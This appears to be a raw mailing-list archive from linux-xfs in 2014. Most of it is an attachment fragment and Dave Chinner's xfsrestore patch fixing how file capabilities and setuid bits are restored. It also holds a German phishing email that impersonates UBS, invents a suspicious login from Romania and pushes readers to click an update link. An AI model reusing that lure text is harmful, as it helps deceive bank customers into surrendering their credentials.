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 ------=_NextPart_000_1D17_01CF220E.50FE3FC0-- From mnmoya@uc.cl Tue Feb 4 18:06:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=HTML_MESSAGE,T_FRT_CONTACT, URI_DATA,URI_TRUNCATED autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A608029DF8 for ; Tue, 4 Feb 2014 18:06:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4CB6DAC002 for ; Tue, 4 Feb 2014 16:06:27 -0800 (PST) X-ASG-Debug-ID: 1391558784-04bdf0121d12fa90001-w1Z2WR Received: from mail-ig0-f182.google.com (mail-ig0-f182.google.com [209.85.213.182]) by cuda.sgi.com with ESMTP id SZ8ZZCxN2zTsprj5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 04 Feb 2014 16:06:25 -0800 (PST) X-Barracuda-Envelope-From: mnmoya@uc.cl X-Barracuda-Apparent-Source-IP: 209.85.213.182 Received: by mail-ig0-f182.google.com with SMTP id uy17so312168igb.3 for ; Tue, 04 Feb 2014 16:06:24 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=AhVZ2bEh+H5B73RK4tAIShm4Iwq6+iUsdT9jVu8TFGQ=; b=C0MYTVrq/u0U+OfXslVoAreNsQJo4SYXM0PfxyFSgyedW02jzrzmxPb+Lcu5zm7rdy dvEkbjeJs0hTpJ7KqhAAaIPPQSzMgTU5qCGAAjMw/vYs2Zl01rJQ2uh6lPpo6Wbmsy8h MjxnYhzmyd787gyKKX3FqkBF+5388f8BDeJXXouF/IUfdgXSENBv4PEribz+mQxTKB77 DwTOhIKa4rDcXZLzgb8v1oFU0l38PQbFyg2L9r24m0mnWQkGh+gC6kemUY59PKb46gDv ExZ7GneVOz/cztF0M8/DybzvkLYP4D42/13/P0EZRn3+i2MnhePy6D4gKLX3NN/OZwI/ FR0w== X-Gm-Message-State: ALoCoQnwFodg/mit+qnU0aTYP3aTuJPzcwN+G+Y+/f9NqcX+VY60e8kONLsRoFVbAL11g//jQwnZ MIME-Version: 1.0 X-Received: by 10.50.27.103 with SMTP id s7mr266354igg.33.1391558784586; Tue, 04 Feb 2014 16:06:24 -0800 (PST) Received: by 10.50.171.166 with HTTP; Tue, 4 Feb 2014 16:06:24 -0800 (PST) Date: Tue, 4 Feb 2014 16:06:24 -0800 Message-ID: Subject: Benachrichtigung von UBS From: UBS Online Services X-ASG-Orig-Subj: Benachrichtigung von UBS To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=e89a8ffba27d0a210904f19d874c X-Barracuda-Connect: mail-ig0-f182.google.com[209.85.213.182] X-Barracuda-Start-Time: 1391558785 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 39304dbe99239fe10d2a9acadee475aa-12526-htm X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, URI_TRUNCATED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144845 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 URI_TRUNCATED BODY: Message contained a URI which was truncated 0.00 HTML_MESSAGE BODY: HTML included in message --e89a8ffba27d0a210904f19d874c Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable *Sehr geehrter Kunde, Jemand hat sich von einem unbekannten Ger=E4t bei Ihr= em UBS Account angemeldet. **5. Feb 2014 * *1:13 MEZ aus Rum=E4nien. Waren Sie das? Wenn ja, k=F6nnen Sie den Rest die= ser Mail einfach ignorieren. Wenn dieser Anmeldeversuch nicht von Ihnen stammt,= * *klicken Sie bitte auf die Link unten, um Ihren UBS KONTO zu sch=FCtzen.* *Nachdem Sie die Anweisungen, um Ihr Konto zu aktualisieren befolgt haben, wird Ihr Online-Zugang zu Ihrem Konto automatisch wiederhergestellt werden und keine weiteren Ma=DFnahmen von Ihnen erforderlich. Ein Mitarbeiter de= r UBS-Bank wird Sie innerhalb 24 Stunden kontaktieren.* *Klicken Sie hier, um zu aktualisieren* *Vielen Dank f=FCr Ihre Mitarbeit.* *Mit freundlichen Gr=FC=DFen,Kundendienst.* --e89a8ffba27d0a210904f19d874c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

=A0

Sehr geehrter Kunde,
= =A0
Jemand hat sich von einem unbekannten=20 Ger=E4t bei Ihrem UBS Account=A0 angemeldet.=A0=A0=A0
5. Feb 2014 1:13 MEZ aus=20 Rum=E4nien.
=A0
Waren Sie das? Wenn ja, k=F6nnen Sie den Rest dieser = Mail=20 einfach ignorieren.
=A0
Wenn dieser Anmeldeversuch nicht von Ihnen=20 stammt,
=A0
klicken Sie bitte auf die Lin= k unten, um Ihren UBS KONTO zu=20 sch=FCtzen.
=A0
Nachdem Sie die Anweisungen, = um Ihr Konto zu aktualisieren befolgt=20 haben, wird Ihr Online-Zugang zu Ihrem Konto automatisch wiederhergestellt= =20 werden und keine weiteren Ma=DFnahmen von Ihnen erforderlich.
=A0
E= in=20 Mitarbeiter der UBS-Bank wird Sie innerhalb 24 Stunden kontaktieren.
=A0
=A0
=A0
=A0
Vielen Dank f=FCr Ihre Mitarb= eit.
=A0
Mit freundlichen Gr=FC=DFen,
K= undendienst.
--e89a8ffba27d0a210904f19d874c-- From dave@fromorbit.com Tue Feb 4 19:49:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B89DE7F51 for ; Tue, 4 Feb 2014 19:49:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4FC21AC003 for ; Tue, 4 Feb 2014 17:49:03 -0800 (PST) X-ASG-Debug-ID: 1391564937-04bdf0121e136c90001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 25CgevVVQQOd43Vw for ; Tue, 04 Feb 2014 17:48:58 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al0GABKY8VJ5LGaB/2dsb2JhbABZgwzAOxd0giUBAisvOxhqAzSIBJ1zsFaTNASqTINBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 12:18:42 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WArbT-0003mH-1Z for xfs@oss.sgi.com; Wed, 05 Feb 2014 12:48:39 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WArbT-0006eI-0M for xfs@oss.sgi.com; Wed, 05 Feb 2014 12:48:39 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] restore: don't trash file capabilities Date: Wed, 5 Feb 2014 12:48:38 +1100 X-ASG-Orig-Subj: [PATCH] restore: don't trash file capabilities Message-Id: <1391564918-25524-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391564937 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144848 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfsrestore fails to restore file capabilities correctly because it sets the owner on the file after it has restored the capability attributes. This results in the kernel stripping the capabilities when changing the owner of the file and hence the restored file is not complete. Fix this by changing the owner of the file when it is created rather than after it has been fully restored. This ensures we don't kill the caps as they are restored after the owner it appropriately set. This fixes the xfs/296 failure. Signed-off-by: Dave Chinner --- restore/content.c | 116 ++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 77 insertions(+), 39 deletions(-) diff --git a/restore/content.c b/restore/content.c index 54d933c..b655ed1 100644 --- a/restore/content.c +++ b/restore/content.c @@ -362,6 +362,15 @@ struct stream_context { char sc_path[2 * MAXPATHLEN]; intgen_t sc_fd; intgen_t sc_hsmflags; + + /* + * we have to set the owner before we set extended attributes otherwise + * capabilities will not be restored correctly as setting the owner with + * fchmod will strip the capability attribute from the file. Hence we + * need to do this before restoring xattrs and record it so we don't do + * it again on completion of file restoration. + */ + bool_t sc_ownerset; }; typedef struct stream_context stream_context_t; @@ -3429,6 +3438,8 @@ applynondirdump( drive_t *drivep, memset(&strctxp->sc_bstat, 0, sizeof(bstat_t)); strctxp->sc_path[0] = '\0'; strctxp->sc_fd = -1; + strctxp->sc_ownerset = BOOL_FALSE; + for ( ; ; ) { drive_ops_t *dop = drivep->d_opsp; @@ -3455,6 +3466,7 @@ applynondirdump( drive_t *drivep, memcpy(&strctxp->sc_bstat, bstatp, sizeof(bstat_t)); strctxp->sc_path[0] = '\0'; strctxp->sc_fd = -1; + strctxp->sc_ownerset = BOOL_FALSE; rv = restore_file( drivep, fhdrp, ehcs, ahcs, path1, path2 ); @@ -7351,6 +7363,61 @@ restore_file_cb( void *cp, bool_t linkpr, char *path1, char *path2 ) } } +/* + * Set the file owner and strip suid/sgid if necessary. On failure, it will + * close the file descriptor, unlink the file and return -1. On success, + * it will mark the stream contexts as having set the owner and return 0. + */ +static int +set_file_owner( + char *path, + intgen_t *fdp, + stream_context_t *strcxtp) +{ + bstat_t *bstatp = &strcxtp->sc_bstat; + mode_t mode = (mode_t)bstatp->bs_mode; + int rval; + + rval = fchown(*fdp, (uid_t)bstatp->bs_uid, (gid_t)bstatp->bs_gid ); + if (!rval) + goto done; + + mlog(MLOG_VERBOSE | MLOG_WARNING, + _("chown (uid=%u, gid=%u) %s failed: %s\n"), + bstatp->bs_uid, bstatp->bs_gid, path, strerror(errno)); + + if (mode & S_ISUID) { + mlog(MLOG_VERBOSE | MLOG_WARNING, + _("stripping setuid bit on %s since chown failed\n"), + path); + mode &= ~S_ISUID; + } + + if ((mode & (S_ISGID|S_IXGRP)) == (S_ISGID|S_IXGRP)) { + mlog(MLOG_VERBOSE | MLOG_WARNING, + _("stripping setgid bit on %s since chown failed\n"), + path); + mode &= ~S_ISGID; + } + + if (mode == (mode_t)bstatp->bs_mode) + goto done; + + rval = fchmod(*fdp, mode); + if (rval) { + mlog(MLOG_VERBOSE | MLOG_ERROR, + _("unable to strip setuid/setgid on %s, unlinking file.\n"), + path); + unlink(path); + close(*fdp); + *fdp = -1; + return -1; + } +done: + strcxtp->sc_ownerset = BOOL_TRUE; + return 0; +} + /* called to begin a regular file. if no path given, or if just toc, * don't actually write, just read. also get into that situation if * cannot prepare destination. fd == -1 signifies no write. *statp @@ -7442,6 +7509,12 @@ restore_reg( drive_t *drivep, } } + if (strctxp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { + rval = set_file_owner(path, fdp, strctxp); + if (rval) + return BOOL_TRUE; + } + if ( persp->a.dstdirisxfspr ) { /* set the extended inode flags, except those which must @@ -7623,45 +7696,10 @@ restore_complete_reg(stream_context_t *strcxtp) /* set the owner and group (if enabled) */ - if ( persp->a.ownerpr ) { - rval = fchown( fd, - ( uid_t )bstatp->bs_uid, - ( gid_t )bstatp->bs_gid ); - if ( rval ) { - mode_t mode = (mode_t)bstatp->bs_mode; - - mlog( MLOG_VERBOSE | MLOG_WARNING, - _("chown (uid=%u, gid=%u) %s failed: %s\n"), - bstatp->bs_uid, - bstatp->bs_gid, - path, - strerror( errno )); - - if ( mode & S_ISUID ) { - mlog( MLOG_VERBOSE | MLOG_WARNING, - _("stripping setuid bit on %s " - "since chown failed\n"), - path ); - mode &= ~S_ISUID; - } - if ( (mode & (S_ISGID|S_IXGRP)) == (S_ISGID|S_IXGRP) ) { - mlog( MLOG_VERBOSE | MLOG_WARNING, - _("stripping setgid bit on %s " - "since chown failed\n"), - path ); - mode &= ~S_ISGID; - } - if ( mode != (mode_t)bstatp->bs_mode ) { - rval = fchmod( fd, mode ); - if ( rval ) { - mlog( MLOG_VERBOSE | MLOG_ERROR, - _("unable to strip setuid/setgid " - "on %s, unlinking file.\n"), - path ); - unlink( path ); - } - } - } + if (strcxtp->sc_ownerset == BOOL_FALSE && persp->a.ownerpr) { + rval = set_file_owner(path, &fd, strcxtp); + if (rval) + return BOOL_TRUE; } /* set the permissions/mode -- 1.8.4.rc3 From dave@fromorbit.com Tue Feb 4 19:53:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C10EC7F51 for ; Tue, 4 Feb 2014 19:53:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 943238F8050 for ; Tue, 4 Feb 2014 17:53:27 -0800 (PST) X-ASG-Debug-ID: 1391565204-04cb6c6de1129be0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id nO1HszpgDKOKNRg8 for ; Tue, 04 Feb 2014 17:53:25 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: An4NADaZ8VJ5LGaB/2dsb2JhbABZgww4qRgDlmgXdIIlAVw7GGoDNIgEnXGwVo4RgQGEIgSZXZBvg0EogSw Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 12:23:15 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WArfs-0003ml-2y for xfs@oss.sgi.com; Wed, 05 Feb 2014 12:53:12 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WArfs-0006pO-1n for xfs@oss.sgi.com; Wed, 05 Feb 2014 12:53:12 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/296: fix golden output Date: Wed, 5 Feb 2014 12:53:12 +1100 X-ASG-Orig-Subj: [PATCH] xfs/296: fix golden output Message-Id: <1391565192-26213-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391565205 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144849 Rule breakdown below pts rule name description ---- ---------------------- 